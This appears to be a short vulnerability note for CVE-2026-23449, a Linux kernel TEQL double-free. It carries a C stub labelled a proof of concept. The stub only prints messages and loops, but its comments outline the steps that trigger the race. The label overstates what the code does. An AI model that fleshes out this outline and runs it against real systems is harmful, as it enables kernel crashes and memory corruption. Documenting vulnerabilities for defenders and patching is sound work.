CVE-2026-23449: Linux内核teql双重释放漏洞

/* * PoC for CVE-2026-23449: Linux Kernel TEQL Double Free * This code demonstrates the setup to trigger the race condition. * Compile: gcc -o poc_teql poc_teql.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if.h> int main() { printf("[*] CVE-2026-23449 PoC Trigger\n"); printf("[*] This requires a TEQL device setup and a lockless Qdisc.\n"); // In a real scenario, this would involve: // 1. Creating a TEQL device (teql0). // 2. Setting a lockless qdisc (e.g., pfifo_fast) as root. // 3. Spawning threads to send traffic (teql_master_xmit path). // 4. Concurrently resetting the qdisc (teql_destroy/qdisc_reset path). // Simulated trigger loop while(1) { // send traffic via socket // trigger qdisc reset via netlink usleep(100); // attempt to hit race window } return 0; }